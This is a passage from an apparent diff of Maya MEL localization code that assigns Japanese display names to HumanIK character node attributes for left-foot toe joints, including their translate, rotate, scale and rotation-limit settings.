"LeftFootMiddle3Rx", "左足中指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Ry", "左足中指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Rz", "左足中指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3S", "左足中指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Sx", "左足中指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Sy", "左足中指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Sz", "左足中指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", "左足中指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateAxis", "左足中指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateAxisx", "左足中指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateAxisy", "左足中指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3RotateAxisz", "左足中指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3JointOrient", "左足中指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3JointOrientx", "左足中指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3JointOrienty", "左足中指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3JointOrientz", "左足中指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimit", "左足中指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitx", "左足中指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimity", "左足中指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitz", "左足中指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimit", "左足中指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitx", "左足中指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimity", "左足中指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitz", "左足中指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitEnablex", "左足中指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitEnabley", "左足中指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MinRLimitEnablez", "左足中指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitEnablex", "左足中指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitEnabley", "左足中指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3MaxRLimitEnablez", "左足中指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4", "左足中指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4T", "左足中指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Tx", "左足中指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Ty", "左足中指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Tz", "左足中指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4R", "左足中指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Rx", "左足中指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Ry", "左足中指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Rz", "左足中指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4S", "左足中指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Sx", "左足中指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Sy", "左足中指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4Sz", "左足中指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", "左足中指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateAxis", "左足中指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateAxisx", "左足中指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateAxisy", "左足中指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4RotateAxisz", "左足中指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4JointOrient", "左足中指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4JointOrientx", "左足中指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4JointOrienty", "左足中指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4JointOrientz", "左足中指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimit", "左足中指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitx", "左足中指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimity", "左足中指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitz", "左足中指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimit", "左足中指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitx", "左足中指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimity", "左足中指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitz", "左足中指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitEnablex", "左足中指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitEnabley", "左足中指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitEnablez", "左足中指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitEnablex", "左足中指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitEnabley", "左足中指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitEnablez", "左足中指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1", "左足薬指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1T", "左足薬指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Tx", "左足薬指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Ty", "左足薬指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Tz", "左足薬指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1R", "左足薬指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Rx", "左足薬指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Ry", "左足薬指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Rz", "左足薬指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1S", "左足薬指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Sx", "左足薬指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Sy", "左足薬指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Sz", "左足薬指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", "左足薬指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateAxis", "左足薬指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateAxisx", "左足薬指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateAxisy", "左足薬指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateAxisz", "左足薬指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1JointOrient", "左足薬指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1JointOrientx", "左足薬指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1JointOrienty", "左足薬指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1JointOrientz", "左足薬指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimit", "左足薬指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitx", "左足薬指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimity", "左足薬指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitz", "左足薬指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimit", "左足薬指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitx", "左足薬指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimity", "左足薬指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitz", "左足薬指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitEnablex", "左足薬指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitEnabley", "左足薬指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitEnablez", "左足薬指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitEnablex", "左足薬指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitEnabley", "左足薬指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitEnablez", "左足薬指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2", "左足薬指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2T", "左足薬指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Tx", "左足薬指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Ty", "左足薬指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Tz", "左足薬指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2R", "左足薬指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Rx", "左足薬指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Ry", "左足薬指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Rz", "左足薬指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2S", "左足薬指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Sx", "左足薬指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Sy", "左足薬指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Sz", "左足薬指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", "左足薬指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateAxis", "左足薬指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateAxisx", "左足薬指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateAxisy", "左足薬指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateAxisz", "左足薬指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2JointOrient", "左足薬指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2JointOrientx", "左足薬指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2JointOrienty", "左足薬指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2JointOrientz", "左足薬指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimit", "左足薬指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitx", "左足薬指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimity", "左足薬指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitz", "左足薬指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimit", "左足薬指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitx", "左足薬指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimity", "左足薬指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitz", "左足薬指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitEnablex", "左足薬指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitEnabley", "左足薬指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitEnablez", "左足薬指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitEnablex", "左足薬指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitEnabley", "左足薬指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitEnablez", "左足薬指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3", "左足薬指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3T", "左足薬指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Tx", "左足薬指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Ty", "左足薬指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Tz", "左足薬指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3R", "左足薬指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Rx", "左足薬指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Ry", "左足薬指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Rz", "左足薬指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3S", "左足薬指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Sx", "左足薬指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Sy", "左足薬指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Sz", "左足薬指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", "左足薬指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateAxis", "左足薬指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateAxisx", "左足薬指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateAxisy", "左足薬指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateAxisz", "左足薬指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3JointOrient", "左足薬指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3JointOrientx", "左足薬指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3JointOrienty", "左足薬指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3JointOrientz", "左足薬指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimit", "左足薬指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitx", "左足薬指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimity", "左足薬指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitz", "左足薬指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimit", "左足薬指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitx", "左足薬指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimity", "左足薬指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitz", "左足薬指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitEnablex", "左足薬指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitEnabley", "左足薬指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitEnablez", "左足薬指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitEnablex", "左足薬指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitEnabley", "左足薬指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitEnablez", "左足薬指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4", "左足薬指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4T", "左足薬指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Tx", "左足薬指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Ty", "左足薬指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Tz", "左足薬指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4R", "左足薬指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Rx", "左足薬指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Ry", "左足薬指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Rz", "左足薬指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4S", "左足薬指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Sx", "左足薬指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Sy", "左足薬指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Sz", "左足薬指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", "左足薬指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateAxis", "左足薬指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateAxisx", "左足薬指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateAxisy", "左足薬指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateAxisz", "左足薬指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4JointOrient", "左足薬指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4JointOrientx", "左足薬指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4JointOrienty", "左足薬指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4JointOrientz", "左足薬指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimit", "左足薬指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitx", "左足薬指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimity", "左足薬指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitz", "左足薬指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimit", "左足薬指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitx", "左足薬指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimity", "左足薬指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitz", "左足薬指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitEnablex", "左足薬指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitEnabley", "左足薬指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitEnablez", "左足薬指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitEnablex", "左足薬指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitEnabley", "左足薬指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitEnablez", "左足薬指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1", "左足小指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1T", "左足小指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Tx", "左足小指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Ty", "左足小指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Tz", "左足小指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1R", "左足小指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Rx", "左足小指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Ry", "左足小指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Rz", "左足小指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1S", "左足小指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Sx", "左足小指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Sy", "左足小指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Sz", "左足小指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", "左足小指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateAxis", "左足小指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateAxisx", "左足小指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateAxisy", "左足小指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateAxisz", "左足小指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1JointOrient", "左足小指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1JointOrientx", "左足小指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1JointOrienty", "左足小指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1JointOrientz", "左足小指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimit", "左足小指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitx", "左足小指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimity", "左足小指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitz", "左足小指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimit", "左足小指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitx", "左足小指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimity", "左足小指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitz", "左足小指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitEnablex", "左足小指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitEnabley", "左足小指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitEnablez", "左足小指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitEnablex", "左足小指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitEnabley", "左足小指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitEnablez", "左足小指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2", "左足小指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2T", "左足小指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Tx", "左足小指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Ty", "左足小指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Tz", "左足小指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2R", "左足小指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Rx", "左足小指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Ry", "左足小指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Rz", "左足小指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2S", "左足小指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Sx", "左足小指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Sy", "左足小指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Sz", "左足小指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 